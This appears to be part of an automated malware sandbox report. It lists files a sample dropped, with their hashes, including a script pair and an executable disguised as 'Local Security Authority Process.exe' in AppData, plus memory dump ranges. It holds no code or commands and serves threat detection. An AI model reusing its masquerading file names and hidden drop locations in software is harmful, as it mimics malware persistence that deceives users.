C:\Users\Admin\AppData\Roaming\Microsoft\qp9vGmuwSr0nkeo7qSVAnhO3kZyMkfu12RZ0OBiQNAI58E5ZggR.vbe

MD5 dde897c67a0ad3384e01f44658e986d0
SHA1 51e5a863d22d2305da3d6e82ed2da727a6db5ffa
SHA256 f3ea38d1aea5a693f1b87b3d1152f8a1de82391b34e2061ee0fbb29f2ec6dc57
SHA512 901990365c1539d432871ef01d36261f537e0928e3afbd93f0833d04355a55464dbe2ca07c59d7d495bb93ad0bf73ed33db748e5856d75941c18f232503c1892

C:\Users\Admin\AppData\Roaming\Microsoft\ZkitL4SswB6Acn9KQ4n8phMXm8v73bXNMxhzpq69L79HkSe5Tb.bat

MD5 fb55729d3f331e20fb5c1e5377634743
SHA1 ad5d1b461d7608598e2683d66eeee3c2a38c625f
SHA256 8603cadb532a5ab019b7f07a2c9652905a459f88c8cfe74d387f0d9594f323c9
SHA512 2ed609b4ad5d0d9da2d12c12947091e0ce2937a12856d95979a7d2c4248b1d5244e5fc3616d0be8a1fd8febc888eeb0bb6fe08fe38a359ceb2345510645d1870

C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe

MD5 4ba31fe7c90af2148e83fe198cf99d7b
SHA1 bd86eece0e892752950a13282cb323e0775ecae4
SHA256 196706cf85ccf38343444deecaeaced58faf7c22963fe45aaa8ea9938fe19a0e
SHA512 79991360ad8d5c8968f2aa4836b3b7b39074c99ad28aa25cc69931c4bdf2115921042d818d4cc319984cfa0ed8a9ee015506f3b4b8c026aeda82c5b03a5328f7

memory/3184-12-0x00007FFD558C3000-0x00007FFD558C5000-memory.dmp

memory/3184-13-0x00000000006F0000-0x00000000008D8000-memory.dmp

memory/3184-15-0x00000000010F0000-0x00000000010FE000-memory.dmp

memory/3184-17-0x0000000001270000-0x000000000128C000-memory.dmp

memory/3184-18-0x0000000002B90000-0x0000000002BE0000-memory.dmp

memory/3184-20-0x0000000001290000-0x00000000012A8000-memory.dmp

memory/3184-22-0x0000000001250000-0x000000000125E000-memory.dmp

memory/3184-24-0x0000000001260000-0x0000000001268000-memory.dmp

memory/3184-26-0x00000000012B0000-0x00000000012BC000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\pdjxw24t\pdjxw24t.cmdline

MD5 19558978c50aac0eda9693fcfa8de6f1
SHA1 ff30ff86d3c447610e1102e5ce0b0c4f7f9e82a1
SHA256 1bc3732055102dcbf6c7d933a9cfd56179d234caa5c10341b71501328a29ce35
SHA512 73bacaa5bbe2d32e803cfd06dda77f1c5af08cc95c4e23eb8b468c6c77bad3bf19ef65fea26e29537081820b0b15a2b77691129889759e81cf3333ef857d4b97

\??\c:\Users\Admin\AppData\Local\Temp\pdjxw24t\pdjxw24t.0.cs

MD5 5073b144acb543766d64612c8f76fa01
SHA1 5b85057f945993f22ebe9168221bd176d389fc82
SHA256 5b833e2f6847a81a97763fbe49cc7ac95d5964abb1c461398f9d6a24ae22d8c6
SHA512 270488e9cbe5691dd7c531019155de5fd095b215fe7af507355b3c9d9ba20b1a40f3bc41cf2ad51c2f1f5c8b5c30f78e653eaf8a6b62790978dab88ad789acc5

\??\c:\Windows\System32\CSC67DC0C93EDBA41AC8BF4F781C2A7849C.TMP

MD5 ad61927912f86c7c9f1e72720f4ef0ef
SHA1 dbb61d9d5c7310c85716fe9f445fee2151cef437
SHA256 bf2696fc2183af293d74c988add5772c1c7257c2e85ae754e43cbe0e1d105a1e
SHA512 33b6f9f93672bd0ecb68e553de0ce92dd6b773c62da7721c9544171df7de8b8588e9ba42e13836db5d5ffc078ca656993f8d06a857dda5a27e1d639d5a6fb3ee

C:\Users\Admin\AppData\Local\Temp\RES1F5A.tmp

MD5 e652edc64d59671e8a3092f52c4c8f19
SHA1 da19cf85fd12c519bf9fb723f2b44c54795765eb
SHA256 271761c611e66c69f9f2d97c6c3317ba86a8773f4d692247b23c6b8ab24b8158
SHA512 969bc48798414e75c5036cf23744e903963fadc3ab79706af2ba6c2601eb37f1d473912e13ee8329e587f43b09097fede6532fe0e78d7a28804cda3504252953

memory/4988-64-0x0000022C712D0000-0x0000022C712F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnz3a2wr.3uv.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Temp\Tu9MtPROow.bat

MD5 263324877b0e1a1358d134e411c79edb
SHA1 dd1a9be9eeb22e76f039e0953507887bd56a2be7
SHA256 d1d252e545983bf744f9084a63b8eb12cd18ad2ad4635f7919a9d7ecdfd2807b
SHA512 8dae08f0e28cd30a1adf0f508f5bb266290427991d847326f7200a4f11b0b0a9ee32a7968c15a57af209b1ffb7f1e947d49ff7ce24bccc590fb2f244d29ececd

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 cadef9abd087803c630df65264a6c81c
SHA1 babbf3636c347c8727c35f3eef2ee643dbcc4bd2
SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
SHA512 7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 bd5940f08d0be56e65e5f2aaf47c538e
SHA1 d7e31b87866e5e383ab5499da64aba50f03e8443
SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
SHA512 c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7e6fdff3e0906e5768bd9d1aaf79e7c6
SHA1 e39e8876af795de368317df21434a776aaf08739
SHA256 d2d0a34b64ca5fd333ac94e141b79473dae5d2aa55affeaf0d7fc4c0a1f46e2c
SHA512 e0232e4c521b0b36812ca369823b955dc71915a738e1c4c442b1d252da6319b9a2313b9e5db936fc83a7db70c8d120a1335323d26034db07dc91f6a6d13d70a4